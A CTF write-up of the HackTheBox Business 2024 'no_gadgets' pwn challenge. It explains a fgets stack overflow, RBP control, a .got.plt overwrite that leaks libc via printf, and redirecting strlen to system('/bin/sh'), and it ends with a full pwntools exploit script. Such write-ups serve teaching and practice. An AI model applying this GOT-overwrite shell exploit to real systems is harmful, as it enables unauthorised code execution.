HTB Business CTF 2024 - pwn - no_gadgets
TL;DR #
Using fgets
stack buffer overflow, gain arbitrary write to known address using RBP
control. Use this to overwrite
strlen@.got.plt
with call printf
to leak libc
address (others with their original resolver) and use the same
technique to call system("/bin/sh")
.
This challenge was marked easy
(40 solves) but I only got on the right track 1h before the end of the event so I
couldn't solve it till the end.
- Challenge: pwn_no_gadgets.zip
- Exploit: exploit.py
The task #
The challenge has no stack canary and no PIE:
$ checksec ./challenge/no_gadgets
[*] '/home/cstamas/ctf/2024-05-18-hackthebox-business/pwn/pwn_no_gadgets/challenge/no_gadgets'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Our task was to exploit an fgets
stack buffer overflow in a binary with almost no ROP gadgets.
undefined8 main(void)
{
size_t sVar1;
char local_88 [128];
setup();
puts(&DAT_00402008);
puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
printf("Data: ");
fgets(local_88,0x1337,stdin);
sVar1 = strlen(local_88);
if (0x80 < sVar1) {
puts("Woah buddy, you\'ve entered so much data that you\'ve reached the point of no return!");
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Pathetic, \'tis but a scratch!");
return 0;
}
Exploit #
The challenge uses fgets
which reads until a \n
(0a
) character, includes it in the output and appends a closing
00
, so our input will always end in 0a00
. This very much limits partial overwrite techniques. I viewed most libc
addresses currently on the stack that we could partially overwrite by 00
or 0a00
(with 1/16 chance of correct
address), but couldn't find anything useful. Usage of both printf
with a single argument is suspicious. Let's look at
the memory layout of the process:
$ cat /proc/15088/maps
003ff000-00400000 rw-p 00000000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00400000-00401000 r--p 00001000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00401000-00402000 r-xp 00002000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00402000-00403000 r--p 00003000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00403000-00404000 r--p 00003000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
713d88c00000-713d88c28000 r--p 00000000 103:03 28451592 pwn_no_gadgets/challenge/libc.so.6
713d88c28000-713d88dbd000 r-xp 00028000 103:03 28451592 pwn_no_gadgets/challenge/libc.so.6
713d88dbd000-713d88e15000 r--p 001bd000 103:03 28451592 pwn_no_gadgets/challenge/libc.so.6
713d88e15000-713d88e19000 r--p 00214000 103:03 28451592 pwn_no_gadgets/challenge/libc.so.6
713d88e19000-713d88e1b000 rw-p 00218000 103:03 28451592 pwn_no_gadgets/challenge/libc.so.6
713d88e1b000-713d88e28000 rw-p 00000000 00:00 0
713d88eb7000-713d88ebc000 rw-p 00000000 00:00 0
713d88ebc000-713d88ec0000 r--p 00000000 00:00 0 [vvar]
713d88ec0000-713d88ec2000 r-xp 00000000 00:00 0 [vdso]
713d88ec2000-713d88ec4000 r--p 00000000 103:03 28451593 pwn_no_gadgets/challenge/ld-2.35.so
713d88ec4000-713d88eee000 r-xp 00002000 103:03 28451593 pwn_no_gadgets/challenge/ld-2.35.so
713d88eee000-713d88ef9000 r--p 0002c000 103:03 28451593 pwn_no_gadgets/challenge/ld-2.35.so
713d88efa000-713d88efc000 r--p 00037000 103:03 28451593 pwn_no_gadgets/challenge/ld-2.35.so
713d88efc000-713d88efe000 rw-p 00039000 103:03 28451593 pwn_no_gadgets/challenge/ld-2.35.so
7ffc93809000-7ffc9382a000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
We can only select ROP gadgets from executable segments that we know the address of. So it only leaves
00401000-00402000
, the code in the challenge binary itself. Let's view the few gadgets we have:
$ ROPgadget --binary ./challenge/no_gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 68
They didn't lie, this isn't much. We can:
- control
RBP
(withpop rbp ; ret
) jmp
orcall
toRAX
, but cannot control its value- modify
cl
(withadd cl, cl ; ret
)
The registers when we hit RET
:
RSP = 7ffc93827ce8
RIP = 401275
RAX = 0
RCX = 713d88d14a37
RDX = 1
RBX = 0
RBP = WE CONTROL IT
RSI = 1
RDI = 713d88e1ba70
R8 = 1d
R9 = 0
R10 = 713d88c0e940
R11 = 246
R12 = 7ffc93827df8
R13 = 4011d7
R14 = 403e00
R15 = 713d88efc040
main
ends in LEAVE
(which is mov RSP, RBP; pop RBP
), so we control RBP
with our overflow.
00401274 c9 LEAVE
00401275 c3 RET
Ok, so ROP chaining isn't viable because of the lack of gadgets. But we can still jump to other addresses in the binary.
ROPgadgets
won't list these as they don't end in a ret
, jmp
, call
or variants.
00401207 48 8d 05 LEA RAX,[s_Data:_0040259a] = "Data: "
8c 13 00 00
0040120e 48 89 c7 MOV RDI=>s_Data:_0040259a,RAX = "Data: "
00401211 b8 00 00 MOV EAX,0x0
00 00
00401216 e8 35 fe CALL ::printf int printf(char * __format, ...)
ff ff
0040121b 48 8b 15 MOV RDX,qword ptr [stdin]
2e 2e 00 00
00401222 48 8d 45 80 LEA RAX=>local_88,[RBP + -0x80]
00401226 be 37 13 MOV ESI,0x1337
00 00
0040122b 48 89 c7 MOV RDI,RAX
0040122e e8 2d fe CALL ::fgets char * fgets(char * __s, int __n, FILE * __stream)
ff ff
00401233 48 8d 45 80 LEA RAX=>local_88,[RBP + -0x80]
00401237 48 89 c7 MOV RDI,RAX
0040123a e8 01 fe CALL ::strlen size_t strlen(char * __s)
ff ff
Remember, that we control the value of RBP
so if we jump to 0040121b
and execute until fgets
,
RDI = RAX = RBP-0x80
assignment will take place, so we control RDI
which holds the destination buffer address for
fgets
. With this, we can write any data (that doesn't have 0a
in it) to a known address. There are two segments
that match this criteria.
003ff000-00400000 rw-p 00000000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590 pwn_no_gadgets/challenge/no_gadgets
The first contains the header of the executable and many zeros, we cannot use this. The second one contains .got.plt
.
Because the binary is Rartial RELRO
(RELocation Read-Only), we can overwrite entries in the .got.plt
. Ok, we are
getting somewhere! So if we overwrite the saved RBP on the stack with 0x404000 + 0x80 = 0x404080
and jump back to
0x40121b
, we can overwrite the complete .got.plt
. Ok, so what should we write?
PTR_puts_00404000 XREF[1]: puts:00401030
00404000 08 50 40 addr ::puts = ??
00 00 00
00 00
PTR_strlen_00404008 XREF[1]: strlen:00401040
00404008 10 50 40 addr ::strlen = ??
00 00 00
00 00
PTR_printf_00404010 XREF[1]: printf:00401050
00404010 18 50 40 addr ::printf = ??
00 00 00
00 00
PTR_fgets_00404018 XREF[1]: fgets:00401060
00404018 20 50 40 addr ::fgets = ??
00 00 00
00 00
PTR_setvbuf_00404020 XREF[1]: setvbuf:00401070
00404020 30 50 40 addr ::setvbuf = ??
00 00 00
00 00
strlen@.got.plt
is a good target as it is a function that gets a single argument, the address of our input buffer
where we just wrote. If we could overwrite strlen
with system
, we could call system("/bin/sh")
. But for this, we
need to know where libc
is loaded in memory. (partially overwriting strlen
's address with 00
won't give us
system
, nor a One Gadget, but was worth a thought) So we need to leak (print to stdout) a libc
address and trigger
the vulnerability again.
We can use printf
to print its arguments as addresses with %p
or more fancily with $1%016lx
. As the first argument
is the format string itself (in RDI
), this is going to print the values of RSI, RDX, RCX, R8, R9
and then things on
stack. So with %p%p%p%p
we can print RSI, RDX, RCX, R8
. Ok, so %p%p%p%p
(8 bytes) overwrite puts@.got.plt
, next
up is strlen
and it should somehow result in a printf
call without calling puts, because it's address is
overwritten with %p%p%p%p
and would result in SIGSEGV
. And also it should retrigger our vulnerability. So let's just
overwrite it with 00401216
which is call <EXTERNAL>::printf
and fgets
will follow. And let's overwrite all the
leftover .got.plt
entries with their original resolver address, so they get resolved again and work correctly.
payload = b''
payload += b'\x00'*0x80
payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)
p.sendlineafter(b"Data: ", payload)
# We use got.puts to hold our payload
payload = b'%p%p%p%p' # got.puts
# Then we repopulate all got entries by plt resolver
payload += p64(0x0000000000401211) # got.strlen -> call printf
payload += p64(elf.plt['printf'] + 0x6) # got.printf
payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
payload += p64(elf.plt['exit'] + 0x6) # got.exit
assert b'\x0a' not in payload, 'Wrong char in payload'
p.sendline(payload)
You may notice that there is an extra p64(0x401275)
we haven't talked about. This is just a ret
for alignment,
because otherwise calling printf
fails with SIGSEGV
. Any odd number of ret
s would work.
This is what the stack looks like after the overwrite:
7ffc93827c60: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827c70: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827c80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827c90: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827ca0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827cb0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827cc0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827cd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffc93827ce0: 8040 4000 0000 0000 7512 4000 0000 0000 .@@.....u.@.....
7ffc93827cf0: 1b12 4000 0000 0000 0a00 4000 0000 0000 ..@.......@.....
And this is the original .got.plt
:
00404000: d00e c888 3d71 0000 60d9 d988 3d71 0000 ....=q..`...=q..
00404010: 7007 c688 3d71 0000 00f4 c788 3d71 0000 p...=q......=q..
00404020: 7016 c888 3d71 0000 8610 4000 0000 0000 p...=q....@.....
And this is after the overwrite:
00404000: 2570 2570 2570 2570 1112 4000 0000 0000 %p%p%p%p..@.....
00404010: 5610 4000 0000 0000 6610 4000 0000 0000 V.@.....f.@.....
00404020: 7610 4000 0000 0000 8610 4000 0000 0000 v.@.......@.....
Now we can parse the leaked value of RSI
and calculate the base address of libc
:
p.recvuntil(b'scratch!\n')
leak = int(p.recv(64)[2:14], 16)
libc_base = leak - 0x219b23
libc.address = libc_base
print(f'LIBC_BASE = {hex(libc_base)}')
As the vuln vas triggered again right away, we can call system("/bin/sh")
with the same strlen@.got.plt
overwrite.
payload = b'/bin/sh\x00' # got.puts
payload += p64(libc.symbols['system']) # got.strlen
p.sendline(payload)
p.interactive()
Here is the full solution:
from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
p = None
def run():
global p
chall = './no_gadgets'
context.binary = chall
# context.log_level = 'debug'
p = process(chall)
# p = remote("94.237.56.30", "41910")
elf = ELF(chall)
rop = ROP(elf)
libc = ELF('./libc.so.6')
pause()
RBP = p64(0x00401216 + 0x80)
payload = b''
payload += b'\x00'*0x80
payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)
p.sendlineafter(b"Data: ", payload)
# We use got.puts to hold our payload
payload = b'%p%p%p%p' # got.puts
# Then we repopulate all got entries by plt resolver
payload += p64(0x0000000000401211) # got.strlen -> call printf
payload += p64(elf.plt['printf'] + 0x6) # got.printf
payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
payload += p64(elf.plt['exit'] + 0x6) # got.exit
assert b'\x0a' not in payload, 'Wrong char in payload'
p.sendline(payload)
p.recvuntil(b'scratch!\n')
leak = int(p.recv(64)[2:14], 16)
libc_base = leak - 0x219b23
libc.address = libc_base
print(f'LIBC_BASE = {hex(libc_base)}')
payload = b'/bin/sh\x00' # got.puts
payload += p64(libc.symbols['system']) # got.printf and also strlen
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
run()
- Previous post: HTB Business CTF 2024 - pwn - abyss
- Next post: HTB Business CTF 2024 - pwn - regularity